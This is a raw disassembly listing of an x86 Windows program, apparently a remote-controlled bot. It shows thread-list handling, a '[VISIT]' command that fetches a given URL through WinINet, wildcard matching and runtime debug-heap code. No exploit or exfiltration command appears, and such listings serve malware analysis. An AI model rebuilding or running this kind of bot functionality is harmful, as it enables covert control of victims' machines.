sub_416256 proc near ; DATA XREF: sub_40C50A+5BF5o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4162A8
push [ebp+var_14]
call sub_416507
add esp, 14h
push 0
call ds:dword_4942FC
pop edi
pop esi
sub_416256 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162A8 proc near ; CODE XREF: sub_416256+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
xor edi, edi
mov esi, offset dword_44CE58
loc_4162D2: ; CODE XREF: sub_4162A8+78j
cmp byte ptr [esi], 0
jz short loc_416313
cmp [ebp+arg_C], 0
jnz short loc_4162E6
cmp dword ptr [esi+204h], 0
jnz short loc_416313
loc_4162E6: ; CODE XREF: sub_4162A8+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S_0 ; "%d. %s"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 24h
loc_416313: ; CODE XREF: sub_4162A8+2Dj
; sub_4162A8+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_491BE8
jl short loc_4162D2
pop edi
pop esi
leave
retn
sub_4162A8 endp
; =============== S U B R O U T I N E =======================================
sub_416326 proc near ; CODE XREF: sub_40C50A+4DEDp
; sub_4163B4+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_4163AE
cmp esi, 1F4h
jge short loc_4163AE
imul esi, 234h
push edi
push ebx
push dword_44D06C[esi]
lea edi, dword_44D06C[esi]
call ds:dword_4943D4
cmp [edi], ebx
jz short loc_41635E
push 1
pop ebp
loc_41635E: ; CODE XREF: sub_416326+33j
mov [edi], ebx
lea edi, dword_44D060[esi]
mov dword_44D058[esi], ebx
mov dword_44D05C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_41637F
push eax
call sub_40B813
pop ecx
loc_41637F: ; CODE XREF: sub_416326+50j
mov [edi], ebx
lea edi, dword_44D064[esi]
mov byte ptr dword_44CE58[esi], bl
mov byte_44D070[esi], bl
push dword ptr [edi]
call dword_44B758 ; closesocket
lea esi, dword_44D068[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_44B758 ; closesocket
mov [esi], ebx
pop edi
loc_4163AE: ; CODE XREF: sub_416326+Dj
; sub_416326+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_416326 endp
; =============== S U B R O U T I N E =======================================
sub_4163B4 proc near ; CODE XREF: sub_405938+18p
; sub_409D2E:loc_409D52p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_44CE58
loc_4163C0: ; CODE XREF: sub_4163B4+2Aj
cmp byte ptr [esi], 0
jz short loc_4163D1
push edi
call sub_416326
test eax, eax
pop ecx
jz short loc_4163D1
inc ebx
loc_4163D1: ; CODE XREF: sub_4163B4+Fj
; sub_4163B4+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_491BE8
jl short loc_4163C0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4163B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4163E6 proc near ; CODE XREF: sub_40C50A+1CFBp
; sub_40C50A+1DCEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_44D05C
loc_4163FA: ; CODE XREF: sub_4163E6+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_41641C
test edi, edi
jle short loc_41640E
cmp [esi], edi
jz short loc_41640E
cmp ebx, edi
jnz short loc_41641C
loc_41640E: ; CODE XREF: sub_4163E6+1Ej
; sub_4163E6+22j
push ebx
call sub_416326
test eax, eax
pop ecx
jz short loc_41641C
inc [ebp+var_4]
loc_41641C: ; CODE XREF: sub_4163E6+1Aj
; sub_4163E6+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_491DEC
jl short loc_4163FA
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4163E6 endp
; =============== S U B R O U T I N E =======================================
sub_416433 proc near ; CODE XREF: sub_40291D+Bp
; sub_402994+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_44D058
loc_41643A: ; CODE XREF: sub_416433+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_416443
inc eax
loc_416443: ; CODE XREF: sub_416433+Dj
add ecx, 234h
cmp ecx, offset dword_491DE8
jl short loc_41643A
retn
sub_416433 endp
; =============== S U B R O U T I N E =======================================
sub_416452 proc near ; CODE XREF: sub_40C50A+56A1p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_44D058
loc_41645C: ; CODE XREF: sub_416452+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_416475
add ecx, 234h
inc edx
cmp ecx, offset dword_491DE8
jl short loc_41645C
pop esi
retn
; ---------------------------------------------------------------------------
loc_416475: ; CODE XREF: sub_416452+10j
mov eax, edx
pop esi
retn
sub_416452 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416479 proc near ; CODE XREF: sub_40C50A+5D9Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_416492
push [ebp+arg_1C]
call sub_4195F0
pop ecx
loc_416492: ; CODE XREF: sub_416479+Ej
push eax
push [ebp+arg_18]
call sub_4163E6
pop ecx
test eax, eax
pop ecx
jle short loc_4164BE
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_418D70
add esp, 14h
jmp short loc_4164D8
; ---------------------------------------------------------------------------
loc_4164BE: ; CODE XREF: sub_416479+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_418D70
add esp, 10h
loc_4164D8: ; CODE XREF: sub_416479+43j
cmp [ebp+arg_C], 0
jnz short loc_4164F8
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_4164F8: ; CODE XREF: sub_416479+63j
lea eax, [ebp+var_200]
push eax
call sub_4035E1
pop ecx
leave
retn
sub_416479 endp
; =============== S U B R O U T I N E =======================================
sub_416507 proc near ; CODE XREF: sub_403076+206p
; sub_40328A+238p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_44D06C[eax], ecx
mov dword_44D058[eax], ecx
mov dword_44D05C[eax], ecx
mov dword_44D060[eax], ecx
mov dword_44D064[eax], ecx
mov dword_44D068[eax], ecx
mov byte ptr dword_44CE58[eax], cl
mov byte_44D070[eax], cl
retn
sub_416507 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416544 proc near ; DATA XREF: sub_40C50A+498Eo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset asc_442B40 ; "*/*"
call sub_4189A0
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_4189A0
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_4189A0
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_4189A0
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_4189A0
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_44B5C8 ; InternetCrackUrlA
test eax, eax
jz loc_4166DE
cmp [ebp+var_34], ebx
jbe short loc_41661B
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_4191A0
add esp, 0Ch
loc_41661B: ; CODE XREF: sub_416544+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_416639
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_4191A0
add esp, 0Ch
loc_416639: ; CODE XREF: sub_416544+DEj
cmp [ebp+var_20], ebx
jbe short loc_416653
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_4191A0
add esp, 0Ch
loc_416653: ; CODE XREF: sub_416544+F8j
cmp [ebp+var_18], ebx
jbe short loc_41666D
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_4191A0
add esp, 0Ch
loc_41666D: ; CODE XREF: sub_416544+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_44B670
call dword_44B694 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_4166F6
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_44B688 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_4166FD
push ebx
push ebx
push ebx
push ebx
push eax
call dword_44B63C ; HttpSendRequestA
test eax, eax
jz short loc_4166D7
push offset aVisitUrlVisite ; "[VISIT]: URL visited."
jmp short loc_416702
; ---------------------------------------------------------------------------
loc_4166D7: ; CODE XREF: sub_416544+18Aj
push offset aVisitFailedToG ; "[VISIT]: Failed to get requested URL fr"...
jmp short loc_416702
; ---------------------------------------------------------------------------
loc_4166DE: ; CODE XREF: sub_416544+B7j
lea eax, [ebp+var_55C]
push offset aVisitInvalidUr ; "[VISIT]: Invalid URL."
push eax
call sub_418D70
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_416710
; ---------------------------------------------------------------------------
loc_4166F6: ; CODE XREF: sub_416544+153j
push offset aVisitCouldNotO ; "[VISIT]: Could not open a connection."
jmp short loc_416702
; ---------------------------------------------------------------------------
loc_4166FD: ; CODE XREF: sub_416544+17Bj
push offset aVisitFailedToC ; "[VISIT]: Failed to connect to HTTP serv"...
loc_416702: ; CODE XREF: sub_416544+191j
; sub_416544+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_418D70
pop ecx
pop ecx
loc_416710: ; CODE XREF: sub_416544+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41673B
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_40842D
add esp, 14h
loc_41673B: ; CODE XREF: sub_416544+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4035E1
pop ecx
push esi
call dword_44B6F4 ; InternetCloseHandle
push [ebp+var_4]
call dword_44B6F4 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_416544 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41676E proc near ; CODE XREF: sub_40C50A+61DCp
; sub_41689C+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_416778: ; CODE XREF: sub_41676E+68j
mov cl, [esi]
test cl, cl
jz short loc_4167D8
cmp eax, 1
jnz short loc_4167D8
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_4167D8
cmp cl, 2Ah
jz short loc_4167BF
cmp cl, 3Fh
jz short loc_4167A2
cmp cl, 5Bh
jz short loc_4167A7
xor eax, eax
cmp cl, dl
setz al
loc_4167A2: ; CODE XREF: sub_41676E+26j
inc [ebp+arg_4]
jmp short loc_4167D2
; ---------------------------------------------------------------------------
loc_4167A7: ; CODE XREF: sub_41676E+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_416804
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_4167D2
; ---------------------------------------------------------------------------
loc_4167BF: ; CODE XREF: sub_41676E+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41689C
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_4167D2: ; CODE XREF: sub_41676E+37j
; sub_41676E+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_416778
; ---------------------------------------------------------------------------
loc_4167D8: ; CODE XREF: sub_41676E+Ej
; sub_41676E+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_4167E8
cmp eax, 1
jnz short loc_4167FF
inc esi
mov [ebp+arg_0], esi
jmp short loc_4167D8
; ---------------------------------------------------------------------------
loc_4167E8: ; CODE XREF: sub_41676E+6Dj
cmp eax, 1
jnz short loc_4167FF
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_4167FF
cmp byte ptr [esi], 0
jnz short loc_4167FF
push 1
pop eax
jmp short loc_416801
; ---------------------------------------------------------------------------
loc_4167FF: ; CODE XREF: sub_41676E+72j
; sub_41676E+7Dj ...
xor eax, eax
loc_416801: ; CODE XREF: sub_41676E+8Fj
pop esi
pop ebp
retn
sub_41676E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416804 proc near ; CODE XREF: sub_41676E+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_416825
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_416825: ; CODE XREF: sub_416804+19j
push ebx
push esi
loc_416827: ; CODE XREF: sub_416804+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_416835
cmp [ebp+var_4], eax
jnz short loc_416881
loc_416835: ; CODE XREF: sub_416804+2Aj
test edi, edi
jnz short loc_416876
cmp bl, 2Dh
jnz short loc_41686A
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_41686A
cmp al, 5Dh
jz short loc_41686A
cmp [ebp+var_4], edi
jnz short loc_41686A
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_416876
cmp bl, al
jg short loc_416876
push 1
mov [edx], esi
pop edi
jmp short loc_416876
; ---------------------------------------------------------------------------
loc_41686A: ; CODE XREF: sub_416804+38j
; sub_416804+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_416876
push 1
pop edi
loc_416876: ; CODE XREF: sub_416804+33j
; sub_416804+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_416827
; ---------------------------------------------------------------------------
loc_416881: ; CODE XREF: sub_416804+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_41688E
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_41688E: ; CODE XREF: sub_416804+82j
cmp edi, eax
jnz short loc_416897
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_416897: ; CODE XREF: sub_416804+8Cj
mov eax, edi
pop edi
leave
retn
sub_416804 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41689C proc near ; CODE XREF: sub_41676E+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4168B8: ; CODE XREF: sub_41689C+3Aj
cmp [eax], bl
jz short loc_4168D8
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_4168CD
cmp cl, 2Ah
jnz short loc_4168D8
cmp cl, 3Fh
jnz short loc_4168D0
loc_4168CD: ; CODE XREF: sub_41689C+25j
inc eax
mov [edi], eax
loc_4168D0: ; CODE XREF: sub_41689C+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4168B8
; ---------------------------------------------------------------------------
loc_4168D8: ; CODE XREF: sub_41689C+1Ej
; sub_41689C+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_4168E3
inc dword ptr [esi]
jmp short loc_4168D8
; ---------------------------------------------------------------------------
loc_4168E3: ; CODE XREF: sub_41689C+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_416904
mov edx, [esi]
cmp [edx], bl
jz short loc_4168F5
xor eax, eax
jmp short loc_416964
; ---------------------------------------------------------------------------
loc_4168F5: ; CODE XREF: sub_41689C+53j
cmp cl, bl
jnz short loc_416904
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_416904
push 1
pop eax
jmp short loc_416964
; ---------------------------------------------------------------------------
loc_416904: ; CODE XREF: sub_41689C+4Dj
; sub_41689C+5Bj ...
push eax
push dword ptr [esi]
call sub_41676E
pop ecx
test eax, eax
pop ecx
jnz short loc_41694E
loc_416912: ; CODE XREF: sub_41689C+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_416916: ; CODE XREF: sub_41689C+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_41692E
cmp cl, 5Bh
jz short loc_41692E
cmp dl, bl
jz short loc_41692E
inc eax
mov [edi], eax
jmp short loc_416916
; ---------------------------------------------------------------------------
loc_41692E: ; CODE XREF: sub_41689C+82j
; sub_41689C+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_416945
push eax
push dword ptr [esi]
call sub_41676E
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_41694A
; ---------------------------------------------------------------------------
loc_416945: ; CODE XREF: sub_41689C+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_41694A: ; CODE XREF: sub_41689C+A7j
cmp eax, ebx
jnz short loc_416912
loc_41694E: ; CODE XREF: sub_41689C+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_416961
mov eax, [esi]
cmp [eax], bl
jnz short loc_416961
mov [ebp+var_4], 1
loc_416961: ; CODE XREF: sub_41689C+B6j
; sub_41689C+BCj
mov eax, [ebp+var_4]
loc_416964: ; CODE XREF: sub_41689C+57j
; sub_41689C+66j
pop edi
pop esi
pop ebx
leave
retn
sub_41689C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416970 proc near ; CODE XREF: sub_401000+7Ap
; sub_401000+8Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41697A: ; CODE XREF: sub_416970+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_416991
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
jmp short loc_41697A
; ---------------------------------------------------------------------------
loc_416991: ; CODE XREF: sub_416970+14j
; sub_416970+4Bj
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov ax, [edx]
mov [ecx], ax
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
test edx, edx
jz short loc_4169BD
jmp short loc_416991
; ---------------------------------------------------------------------------
loc_4169BD: ; CODE XREF: sub_416970+49j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_416970 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
mov [ebp-4], eax
loc_4169DA: ; CODE XREF: .text:00416A04j
mov ecx, [ebp-4]
mov edx, [ebp+0Ch]
mov ax, [edx]
mov [ecx], ax
mov ecx, [ebp-4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp-4]
add eax, 2
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
add ecx, 2
mov [ebp+0Ch], ecx
test edx, edx
jz short loc_416A06
jmp short loc_4169DA
; ---------------------------------------------------------------------------
loc_416A06: ; CODE XREF: .text:00416A02j
mov eax, [ebp+8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A10 proc near ; CODE XREF: sub_40119E+220p
; sub_4013F1+C1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, dword_4920E4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416A80
add esp, 14h
pop ebp
retn
sub_416A10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A30 proc near ; CODE XREF: sub_416E40+20p
; sub_416F00+26p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, dword_4920E4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416A80
add esp, 14h
pop ebp
retn
sub_416A30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A60 proc near ; CODE XREF: sub_41B010+9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416A80
add esp, 14h
pop ebp
retn
sub_416A60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A80 proc near ; CODE XREF: sub_416A10+13p
; sub_416A30+19p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
loc_416A84: ; CODE XREF: sub_416A80:loc_416AD8j
push 9
call sub_41BC90
add esp, 4
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_416B00
add esp, 10h
mov [ebp+var_4], eax
push 9
call sub_41BD30
add esp, 4
cmp [ebp+var_4], 0
jnz short loc_416ABF
cmp [ebp+arg_4], 0
jnz short loc_416AC4
loc_416ABF: ; CODE XREF: sub_416A80+37j
mov eax, [ebp+var_4]
jmp short loc_416ADA
; ---------------------------------------------------------------------------
loc_416AC4: ; CODE XREF: sub_416A80+3Dj
mov ecx, [ebp+arg_0]
push ecx
call sub_41BB80
add esp, 4
test eax, eax
jnz short loc_416AD8
xor eax, eax
jmp short loc_416ADA
; ---------------------------------------------------------------------------
loc_416AD8: ; CODE XREF: sub_416A80+52j
jmp short loc_416A84
; ---------------------------------------------------------------------------
loc_416ADA: ; CODE XREF: sub_416A80+42j
; sub_416A80+56j
mov esp, ebp
pop ebp
retn
sub_416A80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+8]
push eax
call sub_416B00
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B00 proc near ; CODE XREF: sub_416A80+1Ep
; .text:00416AEDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov eax, dword_442C00
and eax, 4
test eax, eax
jz short loc_416B4C
loc_416B1C: ; CODE XREF: sub_416B00+4Aj
call sub_417BD0
test eax, eax
jnz short loc_416B46
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 141h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_416B46
int 3 ; Trap to Debugger
loc_416B46: ; CODE XREF: sub_416B00+23j
; sub_416B00+43j
xor ecx, ecx
test ecx, ecx
jnz short loc_416B1C
loc_416B4C: ; CODE XREF: sub_416B00+1Aj
mov edx, dword_442C04
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
cmp eax, dword_442C08
jnz short loc_416B61
int 3 ; Trap to Debugger
loc_416B61: ; CODE XREF: sub_416B00+5Ej
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
push 1
call off_442D18
add esp, 1Ch
test eax, eax
jnz short loc_416BE4
cmp [ebp+arg_8], 0
jz short loc_416BB7
loc_416B8C: ; CODE XREF: sub_416B00+B3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push offset aClientHookAllo ; "Client hook allocation failure at file "...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 1Ch
cmp eax, 1
jnz short loc_416BAF
int 3 ; Trap to Debugger
loc_416BAF: ; CODE XREF: sub_416B00+ACj
xor edx, edx
test edx, edx
jnz short loc_416B8C
jmp short loc_416BDD
; ---------------------------------------------------------------------------
loc_416BB7: ; CODE XREF: sub_416B00+8Aj
; sub_416B00+DBj
push offset aClientHookAl_0 ; "Client hook allocation failure.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_416BD7
int 3 ; Trap to Debugger
loc_416BD7: ; CODE XREF: sub_416B00+D4j
xor eax, eax
test eax, eax
jnz short loc_416BB7
loc_416BDD: ; CODE XREF: sub_416B00+B5j
xor eax, eax
jmp loc_416E0C
; ---------------------------------------------------------------------------
loc_416BE4: ; CODE XREF: sub_416B00+84j
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_416C06
mov edx, dword_442C00
and edx, 1
test edx, edx
jnz short loc_416C06
mov [ebp+var_C], 1
loc_416C06: ; CODE XREF: sub_416B00+F0j
; sub_416B00+FDj
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_416C17
mov eax, [ebp+arg_0]
add eax, 24h
cmp eax, 0FFFFFFE0h
jbe short loc_416C43
loc_416C17: ; CODE XREF: sub_416B00+10Aj
; sub_416B00+13Aj
mov ecx, [ebp+arg_0]
push ecx
